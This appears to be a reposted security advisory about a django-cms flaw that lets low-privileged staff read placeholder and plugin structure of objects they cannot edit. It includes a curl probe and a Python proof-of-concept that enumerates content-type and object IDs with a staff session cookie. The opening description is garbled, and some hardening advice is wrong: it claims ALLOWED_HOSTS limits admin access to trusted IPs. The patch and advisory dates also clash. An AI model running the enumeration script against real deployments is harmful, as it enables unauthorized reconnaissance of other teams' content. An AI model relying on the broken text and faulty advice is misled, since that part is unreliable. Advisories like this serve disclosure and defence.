Listen to this Post
The django-cms frontend-editing structure endpoint `GET /PlaceholderRelationField) and read its placeholder/plugin structure, even without permission to change that object and without the `cms.use_structure` permission that the toolbar UI requires before offering structure mode. `PageContent` objects were already protected; this advisory covers the remaining non-PageContent branch of the same view.
The issue is staff-gated and read-only, disclosing CMS structure metadata (placeholder slot names, plugin tree, plugin identifiers/labels, object existence) rather than write access or arbitrary field data. The vulnerable non-PageContent branch was introduced with the frontend-editing endpoints in version 4.0. The attack requires an authenticated, active staff account (is_staff=True), a deployment exposing a non-PageContent model with django-cms placeholders (e.g., via PlaceholderRelationField), and the ability to guess or enumerate the target `content_type_id` and object_id. The attacker needs no model/object change permission and no `cms.use_structure` permission.
A low-privileged staff user can read the editorial placeholder/plugin structure of non-PageContent objects they are not authorized to edit through the toolbar. Depending on the installed plugins and templates this may reveal placeholder names, plugin layout, plugin identifiers and the existence of objects owned by other staff users or teams. This is most relevant for deployments using third-party or custom django-cms apps that expose frontend-editable objects outside the page tree.
The fix applies `user_can_view_placeholder_source` to the non-PageContent branch while keeping the structure board read-only for view-only users. `render_object_structure` now authorizes the non-PageContent branch, mirroring `Placeholder.has_change_permission` at the object level (honouring a custom `has_placeholder_change_permission` hook, otherwise falling back to the model/object change permission) and returning 404 when the user is not authorized. No configuration workaround exists. Deployments that do not register any non-PageContent frontend-editable model are not affected. Otherwise, upgrade to a patched release. Reported by doanmanhducz.
DailyCVE Form:
Platform: django CMS
Version: 4.0.0 – 5.0.8, 5.1.0a1
Vulnerability: Missing Authorization
Severity: Medium (CVSS 4.3)
Date: 2026-08-20
Prediction: Patch released 2026-07-10
What Undercode Say:
Check django CMS version
pip show django-cms | grep Version
List all installed packages with version
pip list | grep django-cms
Verify if vulnerable endpoint is exposed
curl -X GET "https://example.com/en/admin/cms/placeholder/object/42/structure/123/" \
-H "Cookie: sessionid=YOUR_STAFF_SESSION" \
-w "\nHTTP Status: %{http_code}\n"
Check if PlaceholderRelationField is used in any model
grep -r "PlaceholderRelationField" ./ --include=".py"
Identify all content types in the system
python manage.py shell -c "from django.contrib.contenttypes.models import ContentType; print([(ct.id, ct.app_label, ct.model) for ct in ContentType.objects.all()])"
Exploit: (Educational Purposes!)
Proof of concept - enumeration of structure metadata
import requests
session = requests.Session()
session.cookies.set('sessionid', 'YOUR_STAFF_SESSION_ID')
Enumerate content_type_id and object_id
for ct_id in range(1, 100):
for obj_id in range(1, 100):
url = f"https://example.com/en/admin/cms/placeholder/object/{ct_id}/structure/{obj_id}/"
response = session.get(url)
if response.status_code == 200:
print(f"Found structure at {url}")
print(response.json()) Discloses placeholder/plugin structure
break
Using django-cms test model FancyPoll as example from cms.models.fields import PlaceholderRelationField from cms.utils.permissions import get_object_structure_url target = FancyPoll.objects.create(name="private-fancy-poll") url = get_object_structure_url(target, language="en") Before fix: HTTP 200 with placeholder structure After fix: HTTP 404
Protection:
Upgrade to patched version pip install --upgrade "django-cms>=5.0.9" Apply migrations after upgrade python manage.py migrate Verify upgrade pip show django-cms | grep Version If immediate upgrade is not possible, restrict admin access In settings.py: ALLOWED_HOSTS = ['trusted-ip-or-domain-only'] Or use middleware to restrict admin paths nginx/apache: limit /admin/ to internal/VPN IPs only
Custom permission check for PlaceholderField models
from cms.models.fields import PlaceholderField
from django.contrib.auth.decorators import permission_required
@permission_required('myapp.change_fancypoll', raise_exception=True)
def my_editor_view(request, object_id):
Ensure proper permission checks before accessing structure
pass
Impact:
Information disclosure of CMS structure metadata including placeholder slot names, complete plugin trees, plugin identifiers, human-readable labels, and object existence confirmation. Attackers can map the application’s internal content architecture. Alignment with CWE-284 (Improper Access Control) and CWE-200 (Information Exposure). Corresponds to MITRE ATT&CK Discovery techniques through API enumeration and reconnaissance phases. Low-privileged staff users can read editorial placeholder/plugin structure of non-PageContent objects they are not authorized to edit, potentially revealing sensitive business logic or configuration details.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

